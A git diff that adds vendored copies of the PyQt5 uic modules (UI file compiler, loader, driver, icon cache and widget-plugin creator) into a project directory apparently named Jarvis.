+############################################################################# + + +import sys + +from PyQt5 import QtGui, QtWidgets + + +class _QtWrapper(object): + @classmethod + def search(cls, name): + return getattr(cls.module, name, None) + + +class _QtGuiWrapper(_QtWrapper): + module = QtGui + + +class _QtWidgetsWrapper(_QtWrapper): + module = QtWidgets + + +class _ModuleWrapper(object): + def __init__(self, moduleName, classes): + self._moduleName = moduleName + self._module = None + self._classes = classes + + def search(self, cls): + if cls in self._classes: + if self._module is None: + self._module = __import__(self._moduleName, {}, {}, self._classes) + # Remove any C++ scope. + cls = cls.split('.')[-1] + + return getattr(self._module, cls) + + return None + + +class _CustomWidgetLoader(object): + def __init__(self, package): + # should it stay this way? + if '.' not in sys.path: + sys.path.append('.') + + self._widgets = {} + self._modules = {} + self._package = package + + def addCustomWidget(self, widgetClass, baseClass, module): + assert widgetClass not in self._widgets + self._widgets[widgetClass] = module + + def search(self, cls): + module_name = self._widgets.get(cls) + if module_name is None: + return None + + module = self._modules.get(module_name) + if module is None: + if module_name.startswith('.'): + if self._package == '': + raise ImportError( + "relative import of %s without base package specified" % module_name) + + if self._package.startswith('.'): + raise ImportError( + "base package %s is relative" % self._package) + + mname = self._package + module_name + else: + mname = module_name + + try: + module = __import__(mname, {}, {}, (cls,)) + except ValueError: + # Raise a more helpful exception. + raise ImportError("unable to import module %s" % mname) + + self._modules[module_name] = module + + return getattr(module, cls) + + +class LoaderCreatorPolicy(object): + def __init__(self, package): + self._package = package + + def createQtGuiWidgetsWrappers(self): + return [_QtGuiWrapper, _QtWidgetsWrapper] + + def createModuleWrapper(self, moduleName, classes): + return _ModuleWrapper(moduleName, classes) + + def createCustomWidgetLoader(self): + return _CustomWidgetLoader(self._package) + + def instantiate(self, clsObject, objectName, ctor_args, is_attribute=True): + return clsObject(*ctor_args) + + def invoke(self, rname, method, args): + return method(*args) + + def getSlot(self, object, slotname): + # Rename slots that correspond to Python keyword arguments. + if slotname == 'raise': + slotname += '_' + + return getattr(object, slotname) + + def asString(self, s): + return s diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/__init__.py b/OTHERS/Jarvis/ools/PyQt5/uic/__init__.py new file mode 100644 index 00000000..edfbbb0e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/__init__.py @@ -0,0 +1,242 @@ +############################################################################# +## +## Copyright (C) 2020 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +__all__ = ("compileUi", "compileUiDir", "loadUiType", "loadUi", "widgetPluginPath") + +from .Compiler import indenter, compiler + + +_header = """# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file '%s' +# +# Created by: PyQt5 UI code generator %s +# +# WARNING: Any manual changes made to this file will be lost when pyuic5 is +# run again. Do not edit this file unless you know what you are doing. + + +""" + + +_display_code = """ + +if __name__ == "__main__": +\timport sys +\tapp = QtWidgets.QApplication(sys.argv) +\t%(widgetname)s = QtWidgets.%(baseclass)s() +\tui = %(uiclass)s() +\tui.setupUi(%(widgetname)s) +\t%(widgetname)s.show() +\tsys.exit(app.exec_())""" + + +def compileUiDir(dir, recurse=False, map=None, **compileUi_args): + """compileUiDir(dir, recurse=False, map=None, **compileUi_args) + + Creates Python modules from Qt Designer .ui files in a directory or + directory tree. + + dir is the name of the directory to scan for files whose name ends with + '.ui'. By default the generated Python module is created in the same + directory ending with '.py'. + recurse is set if any sub-directories should be scanned. The default is + False. + map is an optional callable that is passed the name of the directory + containing the '.ui' file and the name of the Python module that will be + created. The callable should return a tuple of the name of the directory + in which the Python module will be created and the (possibly modified) + name of the module. The default is None. + compileUi_args are any additional keyword arguments that are passed to + the compileUi() function that is called to create each Python module. + """ + + import os + + # Compile a single .ui file. + def compile_ui(ui_dir, ui_file): + # Ignore if it doesn't seem to be a .ui file. + if ui_file.endswith('.ui'): + py_dir = ui_dir + py_file = ui_file[:-3] + '.py' + + # Allow the caller to change the name of the .py file or generate + # it in a different directory. + if map is not None: + py_dir, py_file = map(py_dir, py_file) + + # Make sure the destination directory exists. + try: + os.makedirs(py_dir) + except: + pass + + ui_path = os.path.join(ui_dir, ui_file) + py_path = os.path.join(py_dir, py_file) + + ui_file = open(ui_path, 'r') + py_file = open(py_path, 'w') + + try: + compileUi(ui_file, py_file, **compileUi_args) + finally: + ui_file.close() + py_file.close() + + if recurse: + for root, _, files in os.walk(dir): + for ui in files: + compile_ui(root, ui) + else: + for ui in os.listdir(dir): + if os.path.isfile(os.path.join(dir, ui)): + compile_ui(dir, ui) + + +def compileUi(uifile, pyfile, execute=False, indent=4, from_imports=False, resource_suffix='_rc', import_from='.'): + """compileUi(uifile, pyfile, execute=False, indent=4, from_imports=False, resource_suffix='_rc', import_from='.') + + Creates a Python module from a Qt Designer .ui file. + + uifile is a file name or file-like object containing the .ui file. + pyfile is the file-like object to which the Python code will be written to. + execute is optionally set to generate extra Python code that allows the + code to be run as a standalone application. The default is False. + indent is the optional indentation width using spaces. If it is 0 then a + tab is used. The default is 4. + from_imports is optionally set to generate relative import statements. At + the moment this only applies to the import of resource modules. + resource_suffix is the suffix appended to the basename of any resource file + specified in the .ui file to create the name of the Python module generated + from the resource file by pyrcc4. The default is '_rc', i.e. if the .ui + file specified a resource file called foo.qrc then the corresponding Python + module is foo_rc. + import_from is optionally set to the package used for relative import + statements. The default is ``'.'``. + """ + + from PyQt5.QtCore import PYQT_VERSION_STR + + try: + uifname = uifile.name + except AttributeError: + uifname = uifile + + indenter.indentwidth = indent + + pyfile.write(_header % (uifname, PYQT_VERSION_STR)) + + winfo = compiler.UICompiler().compileUi(uifile, pyfile, from_imports, resource_suffix, import_from) + + if execute: + indenter.write_code(_display_code % winfo) + + +def loadUiType(uifile, from_imports=False, resource_suffix='_rc', import_from='.'): + """loadUiType(uifile, from_imports=False, resource_suffix='_rc', import_from='.') -> (form class, base class) + + Load a Qt Designer .ui file and return the generated form class and the Qt + base class. + + uifile is a file name or file-like object containing the .ui file. + from_imports is optionally set to generate relative import statements. At + the moment this only applies to the import of resource modules. + resource_suffix is the suffix appended to the basename of any resource file + specified in the .ui file to create the name of the Python module generated + from the resource file by pyrcc4. The default is '_rc', i.e. if the .ui + file specified a resource file called foo.qrc then the corresponding Python + module is foo_rc. + import_from is optionally set to the package used for relative import + statements. The default is ``'.'``. + """ + + import sys + + from PyQt5 import QtWidgets + + if sys.hexversion >= 0x03000000: + from .port_v3.string_io import StringIO + else: + from .port_v2.string_io import StringIO + + code_string = StringIO() + winfo = compiler.UICompiler().compileUi(uifile, code_string, from_imports, + resource_suffix, import_from) + + ui_globals = {} + exec(code_string.getvalue(), ui_globals) + + uiclass = winfo["uiclass"] + baseclass = winfo["baseclass"] + + # Assume that the base class is a custom class exposed in the globals. + ui_base = ui_globals.get(baseclass) + if ui_base is None: + # Otherwise assume it is in the QtWidgets module. + ui_base = getattr(QtWidgets, baseclass) + + return (ui_globals[uiclass], ui_base) + + +def loadUi(uifile, baseinstance=None, package='', resource_suffix='_rc'): + """loadUi(uifile, baseinstance=None, package='') -> widget + + Load a Qt Designer .ui file and return an instance of the user interface. + + uifile is a file name or file-like object containing the .ui file. + baseinstance is an optional instance of the Qt base class. If specified + then the user interface is created in it. Otherwise a new instance of the + base class is automatically created. + package is the optional package which is used as the base for any relative + imports of custom widgets. + resource_suffix is the suffix appended to the basename of any resource file + specified in the .ui file to create the name of the Python module generated + from the resource file by pyrcc4. The default is '_rc', i.e. if the .ui + file specified a resource file called foo.qrc then the corresponding Python + module is foo_rc. + """ + + from .Loader.loader import DynamicUILoader + + return DynamicUILoader(package).loadUi(uifile, baseinstance, resource_suffix) + + +# The list of directories that are searched for widget plugins. +from .objcreator import widgetPluginPath diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/driver.py b/OTHERS/Jarvis/ools/PyQt5/uic/driver.py new file mode 100644 index 00000000..00faeb46 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/driver.py @@ -0,0 +1,149 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +import sys +import logging + +from . import compileUi, loadUi + + +class Driver(object): + """ This encapsulates access to the pyuic functionality so that it can be + called by code that is Python v2/v3 specific. + """ + + LOGGER_NAME = 'PyQt5.uic' + + def __init__(self, opts, ui_file): + """ Initialise the object. opts is the parsed options. ui_file is the + name of the .ui file. + """ + + if opts.debug: + logger = logging.getLogger(self.LOGGER_NAME) + handler = logging.StreamHandler() + handler.setFormatter(logging.Formatter("%(name)s: %(message)s")) + logger.addHandler(handler) + logger.setLevel(logging.DEBUG) + + self._opts = opts + self._ui_file = ui_file + + def invoke(self): + """ Invoke the action as specified by the parsed options. Returns 0 if + there was no error. + """ + + if self._opts.preview: + return self._preview() + + self._generate() + + return 0 + + def _preview(self): + """ Preview the .ui file. Return the exit status to be passed back to + the parent process. + """ + + from PyQt5 import QtWidgets + + app = QtWidgets.QApplication([self._ui_file]) + widget = loadUi(self._ui_file) + widget.show() + + return app.exec_() + + def _generate(self): + """ Generate the Python code. """ + + needs_close = False + + if sys.hexversion >= 0x03000000: + if self._opts.output == '-': + from io import TextIOWrapper + + pyfile = TextIOWrapper(sys.stdout.buffer, encoding='utf8') + else: + pyfile = open(self._opts.output, 'wt', encoding='utf8') + needs_close = True + else: + if self._opts.output == '-': + pyfile = sys.stdout + else: + pyfile = open(self._opts.output, 'wt') + needs_close = True + + import_from = self._opts.import_from + + if import_from: + from_imports = True + elif self._opts.from_imports: + from_imports = True + import_from = '.' + else: + from_imports = False + + compileUi(self._ui_file, pyfile, self._opts.execute, self._opts.indent, + from_imports, self._opts.resource_suffix, import_from) + + if needs_close: + pyfile.close() + + def on_IOError(self, e): + """ Handle an IOError exception. """ + + sys.stderr.write("Error: %s: \"%s\"\n" % (e.strerror, e.filename)) + + def on_SyntaxError(self, e): + """ Handle a SyntaxError exception. """ + + sys.stderr.write("Error in input file: %s\n" % e) + + def on_NoSuchClassError(self, e): + """ Handle a NoSuchClassError exception. """ + + sys.stderr.write(str(e) + "\n") + + def on_NoSuchWidgetError(self, e): + """ Handle a NoSuchWidgetError exception. """ + + sys.stderr.write(str(e) + "\n") + + def on_Exception(self, e): + """ Handle a generic exception. """ + + if logging.getLogger(self.LOGGER_NAME).level == logging.DEBUG: + import traceback + + traceback.print_exception(*sys.exc_info()) + else: + from PyQt5 import QtCore + + sys.stderr.write("""An unexpected error occurred. +Check that you are using the latest version of PyQt5 and send an error report to +support@riverbankcomputing.com, including the following information: + + * your version of PyQt (%s) + * the UI file that caused this error + * the debug output of pyuic5 (use the -d flag when calling pyuic5) +""" % QtCore.PYQT_VERSION_STR) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/exceptions.py b/OTHERS/Jarvis/ools/PyQt5/uic/exceptions.py new file mode 100644 index 00000000..3c42750d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/exceptions.py @@ -0,0 +1,53 @@ +############################################################################# +## +## Copyright (C) 2017 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +class NoSuchClassError(Exception): + def __str__(self): + return "Unknown C++ class: %s" % self.args[0] + +class NoSuchWidgetError(Exception): + def __str__(self): + return "Unknown Qt widget: %s" % self.args[0] + +class UnsupportedPropertyError(Exception): + pass + +class WidgetPluginError(Exception): + pass diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/icon_cache.py b/OTHERS/Jarvis/ools/PyQt5/uic/icon_cache.py new file mode 100644 index 00000000..7853cf24 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/icon_cache.py @@ -0,0 +1,159 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +import os.path + + +class IconCache(object): + """Maintain a cache of icons. If an icon is used more than once by a GUI + then ensure that only one copy is created. + """ + + def __init__(self, object_factory, qtgui_module): + """Initialise the cache.""" + + self._object_factory = object_factory + self._qtgui_module = qtgui_module + self._base_dir = '' + self._cache = [] + + def set_base_dir(self, base_dir): + """ Set the base directory to be used for all relative filenames. """ + + self._base_dir = base_dir + + def get_icon(self, iconset): + """Return an icon described by the given iconset tag.""" + + # Handle a themed icon. + theme = iconset.attrib.get('theme') + if theme is not None: + return self._object_factory.createQObject("QIcon.fromTheme", + 'icon', (self._object_factory.asString(theme), ), + is_attribute=False) + + # Handle an empty iconset property. + if iconset.text is None: + return None + + iset = _IconSet(iconset, self._base_dir) + + try: + idx = self._cache.index(iset) + except ValueError: + idx = -1 + + if idx >= 0: + # Return the icon from the cache. + iset = self._cache[idx] + else: + # Follow uic's naming convention. + name = 'icon' + idx = len(self._cache) + + if idx > 0: + name += str(idx) + + icon = self._object_factory.createQObject("QIcon", name, (), + is_attribute=False) + iset.set_icon(icon, self._qtgui_module) + self._cache.append(iset) + + return iset.icon + + +class _IconSet(object): + """An icon set, ie. the mode and state and the pixmap used for each.""" + + def __init__(self, iconset, base_dir): + """Initialise the icon set from an XML tag.""" + + # Set the pre-Qt v4.4 fallback (ie. with no roles). + self._fallback = self._file_name(iconset.text, base_dir) + self._use_fallback = True + + # Parse the icon set. + self._roles = {} + + for i in iconset: + file_name = i.text + if file_name is not None: + file_name = self._file_name(file_name, base_dir) + + self._roles[i.tag] = file_name + self._use_fallback = False + + # There is no real icon yet. + self.icon = None + + @staticmethod + def _file_name(fname, base_dir): + """ Convert a relative filename if we have a base directory. """ + + fname = fname.replace("\\", "\\\\") + + if base_dir != '' and fname[0] != ':' and not os.path.isabs(fname): + fname = os.path.join(base_dir, fname) + + return fname + + def set_icon(self, icon, qtgui_module): + """Save the icon and set its attributes.""" + + if self._use_fallback: + icon.addFile(self._fallback) + else: + for role, pixmap in self._roles.items(): + if role.endswith("off"): + mode = role[:-3] + state = qtgui_module.QIcon.Off + elif role.endswith("on"): + mode = role[:-2] + state = qtgui_module.QIcon.On + else: + continue + + mode = getattr(qtgui_module.QIcon, mode.title()) + + if pixmap: + icon.addPixmap(qtgui_module.QPixmap(pixmap), mode, state) + else: + icon.addPixmap(qtgui_module.QPixmap(), mode, state) + + self.icon = icon + + def __eq__(self, other): + """Compare two icon sets for equality.""" + + if not isinstance(other, type(self)): + return NotImplemented + + if self._use_fallback: + if other._use_fallback: + return self._fallback == other._fallback + + return False + + if other._use_fallback: + return False + + return self._roles == other._roles diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/objcreator.py b/OTHERS/Jarvis/ools/PyQt5/uic/objcreator.py new file mode 100644 index 00000000..0ae7566a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/objcreator.py @@ -0,0 +1,163 @@ +############################################################################# +## +## Copyright (C) 2015 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +import os.path + +from .exceptions import NoSuchWidgetError, WidgetPluginError + + +# The list of directories that are searched for widget plugins. This is +# exposed as part of the API. +widgetPluginPath = [os.path.join(os.path.dirname(__file__), 'widget-plugins')] + + +MATCH = True +NO_MATCH = False +MODULE = 0 +CW_FILTER = 1 + + +class QObjectCreator(object): + def __init__(self, creatorPolicy): + self._cpolicy = creatorPolicy + + self._cwFilters = [] + self._modules = self._cpolicy.createQtGuiWidgetsWrappers() + + # Get the optional plugins. + for plugindir in widgetPluginPath: + try: + plugins = os.listdir(plugindir) + except: + plugins = [] + + for filename in plugins: + if not filename.endswith('.py'): + continue + + filename = os.path.join(plugindir, filename) + + plugin_globals = { + "MODULE": MODULE, + "CW_FILTER": CW_FILTER, + "MATCH": MATCH, + "NO_MATCH": NO_MATCH} + + plugin_locals = {} + + if self.load_plugin(filename, plugin_globals, plugin_locals): + pluginType = plugin_locals["pluginType"] + if pluginType == MODULE: + modinfo = plugin_locals["moduleInformation"]() + self._modules.append(self._cpolicy.createModuleWrapper(*modinfo)) + elif pluginType == CW_FILTER: + self._cwFilters.append(plugin_locals["getFilter"]()) + else: + raise WidgetPluginError("Unknown plugin type of %s" % filename) + + self._customWidgets = self._cpolicy.createCustomWidgetLoader() + self._modules.append(self._customWidgets) + + def createQObject(self, classname, *args, **kwargs): + # Handle regular and custom widgets. + factory = self.findQObjectType(classname) + + if factory is None: + # Handle scoped names, typically static factory methods. + parts = classname.split('.') + + if len(parts) > 1: + factory = self.findQObjectType(parts[0]) + + if factory is not None: + for part in parts[1:]: + factory = getattr(factory, part, None) + if factory is None: + break + + if factory is None: + raise NoSuchWidgetError(classname) + + return self._cpolicy.instantiate(factory, *args, **kwargs) + + def invoke(self, rname, method, args=()): + return self._cpolicy.invoke(rname, method, args) + + def findQObjectType(self, classname): + for module in self._modules: + w = module.search(classname) + if w is not None: + return w + return None + + def getSlot(self, obj, slotname): + return self._cpolicy.getSlot(obj, slotname) + + def asString(self, s): + return self._cpolicy.asString(s) + + def addCustomWidget(self, widgetClass, baseClass, module): + for cwFilter in self._cwFilters: + match, result = cwFilter(widgetClass, baseClass, module) + if match: + widgetClass, baseClass, module = result + break + + self._customWidgets.addCustomWidget(widgetClass, baseClass, module) + + @staticmethod + def load_plugin(filename, plugin_globals, plugin_locals): + """ Load the plugin from the given file. Return True if the plugin was + loaded, or False if it wanted to be ignored. Raise an exception if + there was an error. + """ + + plugin = open(filename) + + try: + exec(plugin.read(), plugin_globals, plugin_locals) + except ImportError: + return False + except Exception as e: + raise WidgetPluginError("%s: %s" % (e.__class__, str(e))) + finally: + plugin.close() + + return True diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/__init__.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/__init__.py new file mode 100644 index 00000000..d4719470 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/__init__.py @@ -0,0 +1,20 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/as_string.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/as_string.py new file mode 100644 index 00000000..f86fc514 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/as_string.py @@ -0,0 +1,40 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +import re + + +def as_string(obj): + if isinstance(obj, basestring): + return '"' + _escape(obj.encode('UTF-8')) + '"' + + return str(obj) + + +_esc_regex = re.compile(r"(\"|\'|\\)") + +def _escape(text): + # This escapes any escaped single or double quote or backslash. + x = _esc_regex.sub(r"\\\1", text) + + # This replaces any '\n' with an escaped version and a real line break. + return re.sub(r'\n', r'\\n"\n"', x) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/ascii_upper.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/ascii_upper.py new file mode 100644 index 00000000..e3e49b29 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/ascii_upper.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +import string + + +# A translation table for converting ASCII lower case to upper case. +_ascii_trans_table = string.maketrans(string.ascii_lowercase, + string.ascii_uppercase) + + +# Convert a string to ASCII upper case irrespective of the current locale. +def ascii_upper(s): + return s.translate(_ascii_trans_table) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/proxy_base.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/proxy_base.py new file mode 100644 index 00000000..9519b0b8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/proxy_base.py @@ -0,0 +1,31 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +from ..Compiler.proxy_metaclass import ProxyMetaclass + + +class ProxyBase(object): + """ A base class for proxies using Python v2 syntax for setting the + meta-class. + """ + + __metaclass__ = ProxyMetaclass diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/string_io.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/string_io.py new file mode 100644 index 00000000..94929625 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v2/string_io.py @@ -0,0 +1,27 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# Import the StringIO object. +try: + from cStringIO import StringIO +except ImportError: + from StringIO import StringIO diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/__init__.py b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/__init__.py new file mode 100644 index 00000000..d4719470 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/port_v3/__init__.py @@ -0,0 +1,20 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: 